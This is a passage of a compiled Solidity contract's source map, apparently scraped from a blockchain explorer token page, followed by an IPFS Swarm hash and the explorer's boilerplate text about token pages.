;;;;;;;;;-1:-1:-1;;;;;19834:15:0;-1:-1:-1;;;;;19834:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19824:4;19829:1;19824:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19824:32:0;;;:7;;;;;;;;;:32;19899:15;;19867:62;;19884:4;;19899:15;;;;19917:11;19867:8;:62::i;:::-;19940:15;;:197;;-1:-1:-1;;;19940:197:0;;:15;;;;-1:-1:-1;;;;;19940:15:0;;:66;;:197;;20021:11;;20047:1;;20064:4;;20091;;20111:15;;19940:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19726:419;19671:474;:::o;19125:120::-;19210:23;;-1:-1:-1;;;;;19210:15:0;;;:23;;;;;19226:6;;19210:23;;;;19226:6;19210:15;:23;;;;;;;;;;;;;;;;;;;;;19125:120;;:::o;16701:267::-;16757:10;;:15;:29;;;;;16776:10;16757:29;:45;;;;-1:-1:-1;16790:7:0;;:12;16757:45;:62;;;;-1:-1:-1;16806:8:0;;:13;16757:62;16754:74;;;16701:267;:::o;16754:74::-;-1:-1:-1;16852:7:0;;;16840:9;:19;16874:8;;;16861:10;:21;16898:10;;;16883:12;:25;-1:-1:-1;16919:11:0;;;;16931:12;;;;16944:14;16701:267::o;20573:506::-;20679:16;20697:19;20720:30;20735:14;20720;:30::i;:::-;-1:-1:-1;;;;;20785:21:0;;;;;;:13;:21;;;;;;20678:72;;-1:-1:-1;20678:72:0;-1:-1:-1;20785:41:0;;20811:14;20785:25;:41::i;:::-;-1:-1:-1;;;;;20761:21:0;;;;;;:13;:21;;;;;:65;20864:67;20909:21;20920:9;20909:10;:21::i;:::-;-1:-1:-1;;;;;20865:24:0;;;;;;:13;:24;;;;;;:38;;20894:8;20865:28;:38::i;20864:67::-;-1:-1:-1;;;;;20837:24:0;;;;;;:13;:24;;;;;;:94;;;;20995:4;20973:28;;;;:45;;21006:11;20973:32;:45::i;:::-;20964:4;20942:28;;;;:13;:28;;;;;;;;;:76;;;;21034:37;986:25:1;;;-1:-1:-1;;;;;21034:37:0;;;;;;;;;;959:18:1;21034:37:0;;;;;;;20667:412;;20573:506;;;:::o;16980:232::-;17037:10;17033:23;;16980:232;:::o;17033:23::-;17077:12;;17064:10;:25;17101:9;;17091:7;:19;17123:81;;;;;;;;;17134:10;;17123:81;;17155:11;17123:81;;;;17188:15;:13;:15::i;:::-;17123:81;;;;;;;;;:::i;:::-;;;;;17112:8;:92;-1:-1:-1;16980:232:0:o;21089:260::-;21159:7;21168;21188:19;21236:3;21225:10;;21210:14;:25;;;;:::i;:::-;:29;;;;:::i;:::-;21188:51;-1:-1:-1;21250:16:0;21269:31;:14;21188:51;21269:18;:31::i;:::-;21250:50;21329:11;;-1:-1:-1;21089:260:0;;-1:-1:-1;;;21089:260:0:o;1862:98::-;1920:7;1947:5;1951:1;1947;:5;:::i;238:597:1:-;350:4;379:2;408;397:9;390:21;440:6;434:13;483:6;478:2;467:9;463:18;456:34;508:1;518:140;532:6;529:1;526:13;518:140;;;627:14;;;623:23;;617:30;593:17;;;612:2;589:26;582:66;547:10;;518:140;;;676:6;673:1;670:13;667:91;;;746:1;741:2;732:6;721:9;717:22;713:31;706:42;667:91;-1:-1:-1;819:2:1;798:15;-1:-1:-1;;794:29:1;779:45;;;;826:2;775:54;;238:597;-1:-1:-1;;;238:597:1:o;1022:131::-;-1:-1:-1;;;;;1097:31:1;;1087:42;;1077:70;;1143:1;1140;1133:12;1077:70;1022:131;:::o;1158:315::-;1226:6;1234;1287:2;1275:9;1266:7;1262:23;1258:32;1255:52;;;1303:1;1300;1293:12;1255:52;1342:9;1329:23;1361:31;1386:5;1361:31;:::i;:::-;1411:5;1463:2;1448:18;;;;1435:32;;-1:-1:-1;;;1158:315:1:o;1904:456::-;1981:6;1989;1997;2050:2;2038:9;2029:7;2025:23;2021:32;2018:52;;;2066:1;2063;2056:12;2018:52;2105:9;2092:23;2124:31;2149:5;2124:31;:::i;:::-;2174:5;-1:-1:-1;2231:2:1;2216:18;;2203:32;2244:33;2203:32;2244:33;:::i;:::-;1904:456;;2296:7;;-1:-1:-1;;;2350:2:1;2335:18;;;;2322:32;;1904:456::o;2554:247::-;2613:6;2666:2;2654:9;2645:7;2641:23;2637:32;2634:52;;;2682:1;2679;2672:12;2634:52;2721:9;2708:23;2740:31;2765:5;2740:31;:::i;3014:388::-;3082:6;3090;3143:2;3131:9;3122:7;3118:23;3114:32;3111:52;;;3159:1;3156;3149:12;3111:52;3198:9;3185:23;3217:31;3242:5;3217:31;:::i;:::-;3267:5;-1:-1:-1;3324:2:1;3309:18;;3296:32;3337:33;3296:32;3337:33;:::i;:::-;3389:7;3379:17;;;3014:388;;;;;:::o;3407:380::-;3486:1;3482:12;;;;3529;;;3550:61;;3604:4;3596:6;3592:17;3582:27;;3550:61;3657:2;3649:6;3646:14;3626:18;3623:38;3620:161;;3703:10;3698:3;3694:20;3691:1;3684:31;3738:4;3735:1;3728:15;3766:4;3763:1;3756:15;3620:161;;3407:380;;;:::o;4153:127::-;4214:10;4209:3;4205:20;4202:1;4195:31;4245:4;4242:1;4235:15;4269:4;4266:1;4259:15;4285:125;4325:4;4353:1;4350;4347:8;4344:34;;;4358:18;;:::i;:::-;-1:-1:-1;4395:9:1;;4285:125::o;4415:422::-;4504:1;4547:5;4504:1;4561:270;4582:7;4572:8;4569:21;4561:270;;;4641:4;4637:1;4633:6;4629:17;4623:4;4620:27;4617:53;;;4650:18;;:::i;:::-;4700:7;4690:8;4686:22;4683:55;;;4720:16;;;;4683:55;4799:22;;;;4759:15;;;;4561:270;;;4565:3;4415:422;;;;;:::o;4842:806::-;4891:5;4921:8;4911:80;;-1:-1:-1;4962:1:1;4976:5;;4911:80;5010:4;5000:76;;-1:-1:-1;5047:1:1;5061:5;;5000:76;5092:4;5110:1;5105:59;;;;5178:1;5173:130;;;;5085:218;;5105:59;5135:1;5126:10;;5149:5;;;5173:130;5210:3;5200:8;5197:17;5194:43;;;5217:18;;:::i;:::-;-1:-1:-1;;5273:1:1;5259:16;;5288:5;;5085:218;;5387:2;5377:8;5374:16;5368:3;5362:4;5359:13;5355:36;5349:2;5339:8;5336:16;5331:2;5325:4;5322:12;5318:35;5315:77;5312:159;;;-1:-1:-1;5424:19:1;;;5456:5;;5312:159;5503:34;5528:8;5522:4;5503:34;:::i;:::-;5573:6;5569:1;5565:6;5561:19;5552:7;5549:32;5546:58;;;5584:18;;:::i;:::-;5622:20;;4842:806;-1:-1:-1;;;4842:806:1:o;5653:131::-;5713:5;5742:36;5769:8;5763:4;5742:36;:::i;6196:168::-;6236:7;6302:1;6298;6294:6;6290:14;6287:1;6284:21;6279:1;6272:9;6265:17;6261:45;6258:71;;;6309:18;;:::i;:::-;-1:-1:-1;6349:9:1;;6196:168::o;6369:217::-;6409:1;6435;6425:132;;6479:10;6474:3;6470:20;6467:1;6460:31;6514:4;6511:1;6504:15;6542:4;6539:1;6532:15;6425:132;-1:-1:-1;6571:9:1;;6369:217::o;8156:128::-;8196:3;8227:1;8223:6;8220:1;8217:13;8214:39;;;8233:18;;:::i;:::-;-1:-1:-1;8269:9:1;;8156:128::o;8289:175::-;8326:3;8370:4;8363:5;8359:16;8399:4;8390:7;8387:17;8384:43;;8407:18;;:::i;:::-;8456:1;8443:15;;8289:175;-1:-1:-1;;8289:175:1:o;8601:127::-;8662:10;8657:3;8653:20;8650:1;8643:31;8693:4;8690:1;8683:15;8717:4;8714:1;8707:15;8733:251;8803:6;8856:2;8844:9;8835:7;8831:23;8827:32;8824:52;;;8872:1;8869;8862:12;8824:52;8904:9;8898:16;8923:31;8948:5;8923:31;:::i;8989:980::-;9251:4;9299:3;9288:9;9284:19;9330:6;9319:9;9312:25;9356:2;9394:6;9389:2;9378:9;9374:18;9367:34;9437:3;9432:2;9421:9;9417:18;9410:31;9461:6;9496;9490:13;9527:6;9519;9512:22;9565:3;9554:9;9550:19;9543:26;;9604:2;9596:6;9592:15;9578:29;;9625:1;9635:195;9649:6;9646:1;9643:13;9635:195;;;9714:13;;-1:-1:-1;;;;;9710:39:1;9698:52;;9805:15;;;;9770:12;;;;9746:1;9664:9;9635:195;;;-1:-1:-1;;;;;;;9886:32:1;;;;9881:2;9866:18;;9859:60;-1:-1:-1;;;9950:3:1;9935:19;9928:35;9847:3;8989:980;-1:-1:-1;;;8989:980:1:o

Swarm Source

ipfs://5465860907a979c4e9bb284dafdcc00a404dc11e82ce55665fa00a70a1752a0d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.